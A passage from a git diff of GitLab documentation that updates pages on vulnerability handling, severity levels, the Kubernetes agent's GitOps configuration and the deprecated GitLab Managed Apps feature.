GitLab Rails console](../../../administration/feature_flags.md) -can opt to disable it. - -To enable it: - -```ruby -Feature.enable(:jira_for_vulnerabilities) -``` +Unlike GitLab issues, the status of whether a Jira issue is open or closed does not display in the GitLab user interface. -To disable it: - -```ruby -Feature.disable(:jira_for_vulnerabilities) -``` - -## Link GitLab issues to the vulnerability +## Linked issues NOTE: If Jira issue support is enabled, GitLab issues are disabled so this feature is not available. -You can link one or more existing GitLab issues to the vulnerability. This allows you to -indicate that this vulnerability affects multiple issues. It also allows you to indicate -that the resolution of one issue would resolve multiple vulnerabilities. - -Linked issues are shown in the Vulnerability Report and the vulnerability's page. +You can link one or more existing GitLab issues to a vulnerability. Adding a link helps track +the issue that resolves or mitigates a vulnerability. -## Link to an existing issue +Issues linked to a vulnerability are shown in the Vulnerability Report and the vulnerability's page. -If you already have an open issue, you can link to it from the vulnerability. +Be aware of the following conditions between a vulnerability and a linked issue: - The vulnerability page shows related issues, but the issue page doesn't show the vulnerability it's related to. - An issue can only be related to one vulnerability at a time. - Issues can be linked across groups and projects. -To link to an existing issue: +## Link to existing issues + +To link a vulnerability to existing issues: + +1. Go to the vulnerability's page. +1. In the **Linked issues** section, select the plus icon (**{plus}**). +1. For each issue to be linked, either: + - Paste a link to the issue. + - Enter the issue's ID (prefixed with a hash `#`). +1. Select **Add**. + +The selected issues are added to the **Linked issues** section, and the linked issues counter is updated. + +## Resolve a vulnerability -1. Open the vulnerability. -1. [Add a linked issue](../../project/issues/related_issues.md). +For some vulnerabilities a solution is already known. In those instances, a vulnerability's page +includes a **Resolve with merge request** option. -## Remediate a vulnerability automatically +To resolve a vulnerability, you can either: -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5656) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.7. +- [Resolve a vulnerability with a merge request](#resolve-a-vulnerability-with-a-merge-request). +- [Resolve a vulnerability manually](#resolve-a-vulnerability-manually). -Some vulnerabilities can be fixed by applying the solution that GitLab automatically generates. The following scanners are supported: - [Dependency Scanning](../dependency_scanning/index.md). @@ -147,42 +136,33 @@ The following scanners are supported: `yarn`. - [Container Scanning](../container_scanning/index.md). -### Remediate a vulnerability manually + -To manually apply the patch that GitLab generated for a vulnerability: +### Resolve a vulnerability with a merge request + +To resolve the vulnerability with a merge request, go to the vulnerability's page and from the +**Resolve with merge request** dropdown select **Resolve with merge request**. -1. Select the **Resolve with merge request** dropdown, then select **Download patch to resolve**: +A merge request is created which applies the patch required to resolve the vulnerability. +Process the merge request according to your standard workflow. -  +### Resolve a vulnerability manually +To manually apply the patch that GitLab generated for a vulnerability: + +1. Go to the vulnerability's page and from the **Resolve with merge request** dropdown select + **Download patch to resolve**. 1. Ensure your local project has the same commit checked out that was used to generate the patch. 1. Run `git apply remediation.patch`. 1. Verify and commit the changes to your branch. -### Create a merge request with the suggested patch - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9224) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.9. - -In some cases, you can create a merge request that automatically remediates the -vulnerability. Any vulnerability that has a -[solution](#remediate-a-vulnerability-automatically) can have a merge -request created to automatically solve the issue. - -If this action is available: - -1. Select the **Resolve with merge request** dropdown, then select **Resolve with merge request**. - -  - -A merge request is created. It applies the solution to the source branch. - ## Vulnerability scanner maintenance The following vulnerability scanners and their databases are regularly updated: | Secure scanning tool | Vulnerabilities database updates | |:----------------------------------------------------------------|----------------------------------| -| [Container Scanning](../container_scanning/index.md) | Uses either `trivy` or `clair`. For the `trivy` scanner, a job runs on a daily basis to build a new image with the latest vulnerability database updates from the [upstream `trivy-db`](https://github.com/aquasecurity/trivy-db). For the `clair` scanner, the latest `clair-db` version is used; `clair-db` database [is updated daily according to the author](https://github.com/arminc/clair-local-scan#clair-server-or-local). | +| [Container Scanning](../container_scanning/index.md) | A job runs on a daily basis to build new images with the latest vulnerability database updates from the upstream scanner. | | [Dependency Scanning](../dependency_scanning/index.md) | Relies on `bundler-audit` (for Ruby gems), `retire.js` (for npm packages), and `gemnasium` (the GitLab tool for all libraries). Both `bundler-audit` and `retire.js` fetch their vulnerabilities data from GitHub repositories, so vulnerabilities added to `ruby-advisory-db` and `retire.js` are immediately available. The tools themselves are updated once per month if there's a new version. The [Gemnasium DB](https://gitlab.com/gitlab-org/security-products/gemnasium-db) is updated at least once a week. See our [current measurement of time from CVE being issued to our product being updated](https://about.gitlab.com/handbook/engineering/development/performance-indicators/#cve-issue-to-update). | | [Dynamic Application Security Testing (DAST)](../dast/index.md) | The scanning engine is updated on a periodic basis. See the [version of the underlying tool `zaproxy`](https://gitlab.com/gitlab-org/security-products/dast/blob/master/Dockerfile#L1). The scanning rules are downloaded at scan runtime. | | [Static Application Security Testing (SAST)](../sast/index.md) | Relies exclusively on [the tools GitLab wraps](../sast/index.md#supported-languages-and-frameworks). The underlying analyzers are updated at least once per month if a relevant update is available. The vulnerabilities database is updated by the upstream tools. | diff --git a/doc/user/application_security/vulnerabilities/severities.md b/doc/user/application_security/vulnerabilities/severities.md index 75366a49a55..f3e8e98bce3 100644 --- a/doc/user/application_security/vulnerabilities/severities.md +++ b/doc/user/application_security/vulnerabilities/severities.md @@ -5,7 +5,7 @@ group: Threat Insights info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Vulnerability severity levels +# Vulnerability severity levels **(ULTIMATE)** GitLab vulnerability analyzers attempt to return vulnerability severity level values whenever possible. The following is a list of available GitLab vulnerability severity levels, ranked from @@ -62,10 +62,9 @@ the following tables: ## Container Scanning -| GitLab scanner | Outputs severity levels? | Native severity level type | Native severity level example | +| GitLab analyzer | Outputs severity levels? | Native severity level type | Native severity level example | |------------------------------------------------------------------------|--------------------------|----------------------------|--------------------------------------------------------------| -| [`clair`](https://gitlab.com/gitlab-org/security-products/analyzers/klar) | **{check-circle}** Yes | String | `Negligible`, `Low`, `Medium`, `High`, `Critical`, `Defcon1` | -| [`trivy`](https://gitlab.com/gitlab-org/security-products/analyzers/container-scanning)| **{check-circle}** Yes | String | `Unknown`, `Low`, `Medium`, `High`, `Critical` | +| [`container-scanning`](https://gitlab.com/gitlab-org/security-products/analyzers/container-scanning)| **{check-circle}** Yes | String | `Unknown`, `Low`, `Medium`, `High`, `Critical` | ## Fuzz Testing diff --git a/doc/user/application_security/vulnerability_report/index.md b/doc/user/application_security/vulnerability_report/index.md index f68fb0c5cbb..07025d193af 100644 --- a/doc/user/application_security/vulnerability_report/index.md +++ b/doc/user/application_security/vulnerability_report/index.md @@ -128,10 +128,12 @@ To view the relevant file, select the filename in the vulnerability's details. ## View issues raised for a vulnerability The **Activity** column indicates the number of issues that have been created for the vulnerability. -Hover over an **Activity** entry and select a link go to that issue. +Hover over an **Activity** entry and select a link go to that issue. The status of whether the issue is open or closed also displays in the hover menu.  +If Jira issue support is enabled, the issue link found in the Activity entry links out to the issue in Jira. Unlike GitLab issues, the status of whether a Jira issue is Open or Closed does not display in the GitLab UI. + ## Change status of vulnerabilities > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/292636) in GitLab 13.10, all statuses became selectable. diff --git a/doc/user/clusters/agent/index.md b/doc/user/clusters/agent/index.md index 5e272f2a816..414ed8377db 100644 --- a/doc/user/clusters/agent/index.md +++ b/doc/user/clusters/agent/index.md @@ -462,7 +462,7 @@ The setup process follows the same steps as [GitOps](#get-started-with-gitops-an with the following differences: - When you define a configuration repository, you must do so with [Cilium settings](#define-a-configuration-repository-with-cilium-settings). -- You do not need to create a `manifest.yaml`. +- You do not need to specify the `gitops` configuration section. ### Define a configuration repository with Cilium settings @@ -486,7 +486,7 @@ cilium: ## Management interfaces Users with at least the [Developer](../../permissions.md) can access the user interface -for the GitLab Kubernetes agent at **Operations > Kubernetes** under the +for the GitLab Kubernetes agent at **Infrastructure > Kubernetes clusters**, under the **GitLab Agent managed clusters** tab. This page lists all registered agents for the current project, and the configuration directory for each agent: diff --git a/doc/user/clusters/agent/repository.md b/doc/user/clusters/agent/repository.md index 49e5e8c58df..cd40cc6810e 100644 --- a/doc/user/clusters/agent/repository.md +++ b/doc/user/clusters/agent/repository.md @@ -8,6 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/259669) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.7. > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3834) in GitLab 13.11, the Kubernetes Agent became available on GitLab.com. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/332227) in GitLab 14.0, the `resource_inclusions` and `resource_exclusions` attributes were removed. WARNING: This feature might not be available to you. Check the **version history** note above for details. @@ -38,16 +39,7 @@ with Kubernetes resource definitions in YAML or JSON format. The Agent monitors each project you declare, and when the project changes, GitLab deploys the changes using the Agent. -To use multiple YAML files, specify a `paths` attribute in the `gitops` section. - -By default, the Agent monitors all -[Kubernetes object types](https://kubernetes.io/docs/concepts/overview/working-with-objects/kubernetes-objects/#required-fields). -You can exclude some types of resources from monitoring. This enables you to reduce -the permissions needed by the GitOps feature, through `resource_exclusions`. - -To enable a specific named resource, first use `resource_inclusions` to enable desired resources. -The following file excerpt includes specific `api_groups` and `kinds`. The `resource_exclusions` -which follow excludes all other `api_groups` and `kinds`: +To use multiple YAML files, specify a `paths` attribute in the `gitops.manifest_projects` section. ```yaml gitops: @@ -58,28 +50,6 @@ gitops: # The `id` is a path to a Git repository with Kubernetes resource definitions # in YAML or JSON format. - id: gitlab-org/cluster-integration/gitlab-agent - # Holds the only API groups and kinds of resources that gitops will monitor. - # Inclusion rules are evaluated first, then exclusion rules. - # If there is still no match, resource is monitored. - # Resources: https://kubernetes.io/docs/concepts/overview/working-with-objects/kubernetes-objects/#required-fields - # Groups: https://kubernetes.io/docs/concepts/overview/kubernetes-api/#api-groups-and-versioning - resource_inclusions: - - api_groups: - - apps - kinds: - - '*' - - api_groups: - - '' - kinds: - - 'ConfigMap' - # Holds the API groups and kinds of resources to exclude from gitops watch. - # Inclusion rules are evaluated first, then exclusion rules. - # If there is still no match, resource is monitored. - resource_exclusions: - - api_groups: - - '*' - kinds: - - '*' # Namespace to use if not set explicitly in object manifest. default_namespace: my-ns # Paths inside of the repository to scan for manifest files. @@ -93,6 +63,87 @@ gitops: - glob: '/team2/apps/**/*.yaml' # If 'paths' is not specified or is an empty list, the configuration below is used - glob: '/**/*.{yaml,yml,json}' + # Reconcile timeout defines whether the applier should wait + # until all applied resources have been reconciled, and if so, + # how long to wait. + reconcile_timeout: 3600s # 1 hour by default + # Dry run strategy defines whether changes should actually be performed, + # or if it is just talk and no action. + # https://github.com/kubernetes-sigs/cli-utils/blob/d6968048dcd80b1c7b55d9e4f31fc25f71c9b490/pkg/common/common.go#L68-L89 + # Can be: none, client, server + dry_run_strategy: none # 'none' by default + # Prune defines whether pruning of previously applied + # objects should happen after apply. + prune: true # enabled by default + # Prune timeout defines whether we should wait for all resources + # to be fully deleted after pruning, and if so, how long we should + # wait. + prune_timeout: 3600s # 1 hour by default + # Prune propagation policy defines the deletion propagation policy + # that should be used for pruning. + # https://github.com/kubernetes/apimachinery/blob/44113beed5d39f1b261a12ec398a356e02358307/pkg/apis/meta/v1/types.go#L456-L470 + # Can be: orphan, background, foreground + prune_propagation_policy: foreground # 'foreground' by default + # InventoryPolicy defines if an inventory object can take over + # objects that belong to another inventory object or don't + # belong to any inventory object. + # This is done by determining if the apply/prune operation + # can go through for a resource based on the comparison + # the inventory-id value in the package and the owning-inventory + # annotation in the live object. + # https://github.com/kubernetes-sigs/cli-utils/blob/d6968048dcd80b1c7b55d9e4f31fc25f71c9b490/pkg/inventory/policy.go#L12-L66 + # Can be: must_match, adopt_if_no_inventory, adopt_all + inventory_policy: must_match # 'must_match' by default +``` + +### Using multiple manifest projects + +Storing Kubernetes manifests in more than one repository can be handy, for example: + +- You may store manifests for different applications in separate repositories. +- Different teams can work on manifests of independent projects in separate repositories. + +To use multiple repositories as the source of Kubernetes manifests, specify them in the list of +`manifest_projects` in your `config.yaml`: + +```yaml +gitops: + manifest_projects: + - id: group1/project1 + - id: group2/project2 +``` + +Note that repositories are synchronized **concurrently** and **independently** from each other, +which means that, ideally, there should **not** be any dependencies shared by these repositories. +Storing a logical group of manifests in a single repository may work better than distributing it across several +repositories. + +You cannot use a single repository as a source for multiple concurrent synchronization +operations. If such functionality is needed, you may use multiple agents reading +manifests from the same repository. + +Ensure not to specify "overlapping" globs to avoid synchronizing the same files more than once. +This is detected by the GitLab Kubernetes Agent and leads to an error. + +INCORRECT - both globs match `*.yaml` files in the root directory: + +```yaml +gitops: + manifest_projects: + - id: project1 + paths: + - glob: '/**/*.yaml' + - glob: '/*.yaml' +``` + +CORRECT - single globs matches all `*.yaml` files recursively: + +```yaml +gitops: + manifest_projects: + - id: project1 + paths: + - glob: '/**/*.yaml' ``` ## Surface network security alerts from cluster to GitLab diff --git a/doc/user/clusters/agent/runner.md b/doc/user/clusters/agent/runner.md index bbf07d4ea84..c40733bd7a5 100644 --- a/doc/user/clusters/agent/runner.md +++ b/doc/user/clusters/agent/runner.md @@ -1,5 +1,6 @@ --- redirect_to: 'https://docs.gitlab.com/runner/install/kubernetes-agent.html' +remove_date: '2022-02-01' --- This document was moved to [another location](https://docs.gitlab.com/runner/install/kubernetes-agent.html). diff --git a/doc/user/clusters/applications.md b/doc/user/clusters/applications.md index 212823853e4..a6aa4e00005 100644 --- a/doc/user/clusters/applications.md +++ b/doc/user/clusters/applications.md @@ -6,12 +6,15 @@ info: To determine the technical writer assigned to the Stage/Group associated w # GitLab Managed Apps (DEPRECATED) **(FREE)** +NOTE: +The new recommended way to manage cluster applications is to use the [cluster management project template](management_project_template.md). +If you want to migrate your GitLab managed apps management to this template, reference to [migrating from GitLab managed apps to project template](migrating_from_gma_to_project_template.md). + **GitLab Managed Apps** was created to help you configure applications in your cluster directly from GitLab. You could use this feature through two different methods: "one-click install" and "CI/CD template". Both methods are **deprecated**: -- The **one-click install** method was deprecated in GitLab 13.9 and **will be - removed** in GitLab 14.0. +- The **one-click install** method was [removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63348) in GitLab 14.0. - The **CI/CD template method** was deprecated in GitLab 13.12 and is scheduled to be removed in GitLab 15.0. @@ -19,23 +22,17 @@ Both methods were limiting as you couldn't fully customize your third-party apps through GitLab Managed Apps. Therefore, we decided to deprecate this feature and provide better [GitOps-driven alternatives](https://about.gitlab.com/direction/configure/kubernetes_management/#gitlab-managed-applications) to our users, such as [cluster integrations](integrations.md#cluster-integrations) and [cluster management project](management_project.md). -Read the sections below according to the installation method you chose to -learn how to proceed to keep your apps up and running: - -- [One-click install method](#install-with-one-click-deprecated) -- [CI/CD template method](#install-using-gitlab-cicd-deprecated) - ## Install using GitLab CI/CD (DEPRECATED) > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20822) in GitLab 12.6. > - [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/327908) in GitLab 13.12. WARNING: -The GitLab Managed Apps CI/CD installation method was [deprecated in 13.12](https://gitlab.com/gitlab-org/gitlab/-/issues/327908). +The GitLab Managed Apps CI/CD installation method was [deprecated in 13.12](https://gitlab.com/gitlab-org/gitlab/-/issues/327908). Your applications continue to work. However, we no longer support and maintain the GitLab CI/CD template for Managed Apps (`Managed-Cluster-Applications.gitlab-ci.yml`). -As a replacement, we are working on a [cluster management project template](https://gitlab.com/gitlab-org/gitlab/-/issues/327908), -still to be released. +The new recommended way to manage cluster applications is to use the [cluster management project template](management_project_template.md). +If you want to migrate your GitLab managed apps management to this template, reference to [migrating from GitLab managed apps to project template](migrating_from_gma_to_project_template.md). The CI/CD template was the primary method for installing applications to clusters via GitLab Managed Apps and customize them through Helm. @@ -401,6 +398,10 @@ These values can be specified using [CI/CD variables](../../ci/variables/README. - `GITLAB_RUNNER_GITLAB_URL` is used for `gitlabUrl`. - `GITLAB_RUNNER_REGISTRATION_TOKEN` is used for `runnerRegistrationToken` +The methods of specifying these values are mutually exclusive. Either specify variables `GITLAB_RUNNER_REGISTRATION_TOKEN` and `GITLAB_RUNNER_TOKEN` as CI variables (recommended) or provide values for `runnerRegistrationToken:` and `runnerToken:` in `.gitlab/managed-apps/gitlab-runner/values.yaml`. If you choose to use CI variables, comment out or remove `runnerRegistrationToken:` and `runnerToken:` from `.gitlab/managed-apps/gitlab-runner/values`. + +The runner registration token allows connection to a project by a runner and therefore should be treated as a secret to prevent malicious use and code exfiltration through a runner. For this reason, we recommend that you specify the runner registration token as a [protected variable](../../ci/variables/README.md#protect-a-cicd-variable) and [masked variable](../../ci/variables/README.md#mask-a-cicd-variable) and do not commit them to the Git repository in the `values.yaml` file. + You can customize the installation of GitLab Runner by defining `.gitlab/managed-apps/gitlab-runner/values.yaml` file in your cluster management project. Refer to the @@ -453,7 +454,7 @@ for the available configuration options. You can check Cilium's installation status on the cluster management page: - [Project-level cluster](../project/clusters/index.md): Navigate to your project's - **Operations > Kubernetes** page. + **Infrastructure > Kubernetes clusters** page. - [Group-level cluster](../group/clusters/index.md): Navigate to your group's **Kubernetes** page. @@ -462,7 +463,10 @@ Installation and removal of the Cilium requires a **manual** [restart](https://docs.cilium.io/en/stable/gettingstarted/k8s-install-gke/#restart-unmanaged-pods) of all affected pods in all namespaces to ensure that they are [managed](https://docs.cilium.io/en/v1.8/operations/troubleshooting/#ensure-managed-pod) -by the correct networking plugin. +by the correct networking plugin. Whenever Hubble is enabled, its related pod might require a +restart depending on whether it started prior to Cilium. For more information, see +[Failed Deployment](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/#failed-deployment) +in the Kubernetes docs. NOTE: Major upgrades might require additional setup steps. For more information, see @@ -814,11 +818,6 @@ management project. Refer to the [chart](https://gitlab.com/gitlab-org/charts/elastic-stack) for all available configuration options. -NOTE: -In this alpha implementation of installing Elastic Stack through CI, reading the -environment logs through Elasticsearch is unsupported. This is supported if -[installed with the UI](#elastic-stack). - Support for installing the Elastic Stack managed application is provided by the GitLab APM group. If you run into unknown issues, [open a new issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new), and ping at @@ -1026,691 +1025,37 @@ GitLab Container Security group. If you run into unknown issues, at least 2 people from the [Container Security group](https://about.gitlab.com/handbook/product/categories/#container-security-group). -## Browse applications logs - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36769) in GitLab 13.2. - -Logs produced by pods running **GitLab Managed Apps** can be browsed using -[**Log Explorer**](../project/clusters/kubernetes_pod_logs.md). - -## Install with one click (DEPRECATED) - -WARNING: -The one-click installation method was deprecated in GitLab 13.9 and will be removed in [GitLab 14.0](https://gitlab.com/groups/gitlab-org/-/epics/4280). -The removal does not break nor uninstall any apps you have installed but removes the GitLab UI page -for installing and updating your GitLab Managed Apps. -Follow the process to [take ownership of your GitLab Managed Apps](#take-ownership-of-your-gitlab-managed-apps). - -Applications managed by GitLab are installed onto the `gitlab-managed-apps` -namespace. This namespace: - -- Is different from the namespace used for project deployments. -- Is created once. -- Has a non-configurable name. - -To view a list of available applications to install for a: - -- [Project-level cluster](../project/clusters/index.md), navigate to your project's - **Operations > Kubernetes**. -- [Group-level cluster](../group/clusters/index.md), navigate to your group's - **Kubernetes** page. - -You can install the following applications with one click: - -- [Helm](#helm) -- [Ingress](#ingress) -- [cert-manager](#cert-manager) -- [Prometheus](#prometheus) -- [GitLab Runner](#gitlab-runner) -- [JupyterHub](#jupyterhub) -- [Knative](#knative) -- [Crossplane](#crossplane) -- [Elastic Stack](#elastic-stack) -- [Fluentd](#fluentd) - -With the exception of Knative, the applications are installed in a dedicated -namespace called `gitlab-managed-apps`. - -Some applications are installable only for a project-level cluster. -Support for installing these applications in a group-level cluster is -planned for future releases. -For updates, see the [issue tracking progress](https://gitlab.com/gitlab-org/gitlab/-/issues/24411). - -WARNING: -If you have an existing Kubernetes cluster with Helm already installed, -you should be careful as GitLab cannot detect it. In this case, installing -Helm with the applications results in the cluster having it twice, which -can lead to confusion during deployments. - -In GitLab versions 11.6 and greater, Helm is upgraded to the latest version -supported by GitLab before installing any of the applications. - -### Helm - -> - Introduced in GitLab 10.2 for project-level clusters. -> - Introduced in GitLab 11.6 for group-level clusters. -> - [Uses a local Tiller](https://gitlab.com/gitlab-org/gitlab/-/issues/209736) in GitLab 13.2 and later. -> - [Uses Helm 3](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46267) for clusters created with GitLab 13.6 and later. -> - [Offers legacy Tiller removal](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47457) in GitLab 13.7 and later. - -[Helm](https://helm.sh/docs/) is a package manager for Kubernetes and is -used to install the GitLab-managed apps. GitLab runs each `helm` command -in a pod in the `gitlab-managed-apps` namespace inside the cluster. - -- For clusters created in GitLab 13.6 and newer, GitLab uses Helm 3 to manage - applications. -- For clusters created on versions of GitLab prior to 13.6, GitLab uses Helm 2 - with a local [Tiller](https://v2.helm.sh/docs/glossary/#tiller) server. Prior - to [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/209736), GitLab - used an in-cluster Tiller server in the `gitlab-managed-apps` namespace. You - can safely uninstall the server from the GitLab application page if you have - previously installed it. This doesn't affect your other applications. - -The GitLab Helm integration does not support installing applications behind a proxy, -but a [workaround](../../topics/autodevops/index.md#install-applications-behind-a-proxy) -is available. - -#### Upgrade a cluster to Helm 3 - -GitLab does not offer a way to migrate existing application management -on existing clusters from Helm 2 to Helm 3. To migrate a cluster to Helm 3: - -1. Uninstall all applications on your cluster. -1. [Remove the cluster integration](../project/clusters/add_remove_clusters.md#removing-integration). -1. [Re-add the cluster](../project/clusters/add_remove_clusters.md#existing-kubernetes-cluster) as - an existing cluster. - -### cert-manager - -> Introduced in GitLab 11.6 for project- and group-level clusters. - -[cert-manager](https://cert-manager.io/docs/) is a native Kubernetes certificate -management controller that helps with issuing certificates. Installing -cert-manager on your cluster issues a certificate by [Let's Encrypt](https://letsencrypt.org/) -and ensures that certificates are valid and up-to-date. - -The chart used to install this application depends on the version of GitLab used. In: - -- GitLab 12.3 and newer, the [`jetstack/cert-manager`](https://github.com/jetstack/cert-manager) - chart is used with a - [`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/cert_manager/values.yaml) - file. -- GitLab 12.2 and older, the - [`stable/cert-manager`](https://github.com/helm/charts/tree/master/stable/cert-manager) - chart was used. - -If you installed cert-manager prior to GitLab 12.3, Let's Encrypt -[blocks requests](https://community.letsencrypt.org/t/blocking-old-cert-manager-versions/98753) -from older versions of `cert-manager`. To resolve this: - -1. [Back up any additional configuration](https://cert-manager.io/docs/tutorials/backup/). -1. Uninstall cert-manager. -1. Install cert-manager again. - -### GitLab Runner - -> - Introduced in GitLab 10.6 for project-level clusters. -> - Introduced in GitLab 11.10 for group-level clusters. - -[GitLab Runner](https://docs.gitlab.com/runner/) is the open source project that -is used to run your jobs and send the results back to GitLab. It's used in -conjunction with [GitLab CI/CD](../../ci/README.md), the open-source continuous -integration service included with GitLab that coordinates the jobs. - -If the project is on GitLab.com, [shared runners](../gitlab_com/index.md#shared-runners) -are available. You don't have to deploy one if they are enough for your -needs. If a project-specific runner is desired, or there are no shared runners, -you can deploy one. - -The deployed runner is set as **privileged**. Root access to the underlying -server is required to build Docker images, so it's the default. Be sure to read -the [security implications](../project/clusters/index.md#security-implications) -before deploying one. - -The [`runner/gitlab-runner`](https://gitlab.com/gitlab-org/charts/gitlab-runner) -chart is used to install this application, using -[a preconfigured `values.yaml`](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/blob/master/values.yaml) -file. Customizing the installation by modifying this file is not supported. This -also means you cannot modify `config.toml` file for this Runner. If you want to -have that possibility and still deploy Runner in Kubernetes, consider using the -[Cluster management project](management_project.md) or installing Runner manually -via [GitLab Runner Helm Chart](https://docs.gitlab.com/runner/install/kubernetes.html). - -### Ingress - -> - Introduced in GitLab 10.2 for project-level clusters. -> - Introduced in GitLab 11.6 for group-level clusters. - -[Ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/) -provides load balancing, SSL termination, and name-based virtual hosting -out of the box. It acts as a web proxy for your applications and is useful -if you want to use [Auto DevOps](../../topics/autodevops/index.md) or deploy your own web apps. - -The Ingress Controller installed is -[Ingress-NGINX](https://kubernetes.io/docs/concepts/services-networking/ingress/), -which is supported by the Kubernetes community. - -With the following procedure, a load balancer must be installed in your cluster -to obtain the endpoint. You can use either -Ingress, or Knative's own load balancer ([Istio](https://istio.io)) if using Knative. - -To publish your web application, you first need to find the endpoint, which is either an IP -address or a hostname associated with your load balancer. - -To install it, click on the **Install** button for Ingress. GitLab attempts -to determine the external endpoint and it should be available in a few minutes. - -#### Determining the external endpoint automatically - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17052) in GitLab 10.6. - -After you install Ingress, the external endpoint should be available in a few minutes. - -NOTE: -This endpoint can be used for the -[Auto DevOps base domain](../../topics/autodevops/index.md#auto-devops-base-domain) -using the `KUBE_INGRESS_BASE_DOMAIN` environment variable. - -If the endpoint doesn't appear and your cluster runs on Google Kubernetes Engine: - -1. [Examine your Kubernetes cluster](https://console.cloud.google.com/kubernetes) - on Google Kubernetes Engine to ensure there are no errors on its nodes. -1. Ensure you have enough [Quotas](https://console.cloud.google.com/iam-admin/quotas) - on Google Kubernetes Engine. For more information, see - [Resource Quotas](https://cloud.google.com/compute/quotas). -1. Review [Google Cloud's Status](https://status.cloud.google.com/) for service - disruptions. - -The [`stable/nginx-ingress`](https://github.com/helm/charts/tree/master/stable/nginx-ingress) -chart is used to install this application with a -[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/ingress/values.yaml) -file. - -After installing, you may see a `?` for **Ingress IP Address** depending on the -cloud provider. For EKS specifically, this is because the ELB is created -with a DNS name, not an IP address. If GitLab is still unable to -determine the endpoint of your Ingress or Knative application, you can -[determine it manually](#determining-the-external-endpoint-manually). - -#### Determining the external endpoint manually - -See the [Base domain section](../project/clusters/index.md#base-domain) for a -guide on how to determine the external endpoint manually. - -#### Using a static IP - -By default, an ephemeral external IP address is associated to the cluster's load -balancer. If you associate the ephemeral IP with your DNS and the IP changes, -your apps aren't reachable, and you'd have to change the DNS record again. -To avoid that, change it into a static reserved IP. - -Read how to [promote an ephemeral external IP address in GKE](https://cloud.google.com/compute/docs/ip-addresses/reserve-static-external-ip-address#promote_ephemeral_ip). - -#### Pointing your DNS at the external endpoint - -After you have set up the external endpoint, associate it with a -[wildcard DNS record](https://en.wikipedia.org/wiki/Wildcard_DNS_record) (such -as `*.example.com.`) to reach your apps. If your external endpoint is an IP -address, use an A record. If your external endpoint is a hostname, use a CNAME -record. - -#### Web Application Firewall (ModSecurity) - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21966) in GitLab 12.7. - -WARNING: -The Web Application Firewall is in its end-of-life process. It is [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/271276) -in GitLab 13.6, and planned for [removal](https://gitlab.com/gitlab-org/gitlab/-/issues/271349) -in GitLab 14.0. - -A Web Application Firewall (WAF) examines traffic being sent or received, -and can block malicious traffic before it reaches your application. The benefits -of a WAF are: - -- Real-time security monitoring for your application. -- Logging of all your HTTP traffic to the application. -- Access control for your application. -- Highly configurable logging and blocking rules. - -By default, GitLab provides you with a WAF known as [`ModSecurity`](https://www.modsecurity.org/), -which is a toolkit for real-time web application monitoring, logging, and access -control. GitLab applies the [OWASP's Core Rule Set](https://coreruleset.org/), -which provides generic attack detection capabilities. - -This feature: - -- Runs in "Detection-only mode" unless configured otherwise. -- Is viewable by checking your Ingress controller's `modsec` log for rule violations. - For example: - - ```shell - kubectl -n gitlab-managed-apps logs -l app=nginx-ingress,component=controller -c modsecurity-log -f - ``` - -To enable WAF, switch its respective toggle to the enabled position when installing -or updating [Ingress application](#ingress). - -If this is your first time using the GitLab WAF, we recommend you follow the -[quick start guide](../project/clusters/protect/web_application_firewall/quick_start_guide.md). - -There is a small performance overhead by enabling ModSecurity. If this is -considered significant for your application, you can disable ModSecurity's -rule engine for your deployed application in any of the following ways: - -1. Set the [deployment variable](../../topics/autodevops/index.md) - `AUTO_DEVOPS_MODSECURITY_SEC_RULE_ENGINE` to `Off` to prevent ModSecurity - from processing any requests for the given application or environment. -1. Switch its respective toggle to the disabled position, and then apply changes - by selecting **Save changes** to reinstall Ingress with the recent changes. - - - -##### Logging and blocking modes - -To help you tune your WAF rules, you can globally set your WAF to either -*Logging* or *Blocking* mode: - -- *Logging mode*: Allows traffic matching the rule to pass, and logs the event. -- *Blocking mode*: Prevents traffic matching the rule from passing, and logs the event. - -To change your WAF's mode: - -1. If you haven't already done so, - [install ModSecurity](../project/clusters/protect/web_application_firewall/quick_start_guide.md). -1. Navigate to **Operations > Kubernetes**. -1. In **Applications**, scroll to **Ingress**. -1. Under **Global default**, select your desired mode. -1. Select **Save changes**. - -##### WAF version updates - -Enabling, disabling, or changing the logging mode for **ModSecurity** is only -allowed in same version of [Ingress](#ingress) due to limitations in -[Helm](https://helm.sh/) which might be overcome in future releases. - -The **ModSecurity** user interface controls are disabled if the version deployed -differs from the one available in GitLab. However, actions at the [Ingress](#ingress) -level, such as uninstalling, can still be performed: - - - -Update [Ingress](#ingress) to the most recent version to take advantage of bug -fixes, security fixes, and performance improvements. To update the -[Ingress application](#ingress), you must first uninstall it, and then re-install -it as described in [Install ModSecurity](../project/clusters/protect/web_application_firewall/quick_start_guide.md). - -##### Viewing Web Application Firewall traffic - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14707) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.9. - -You can view Web 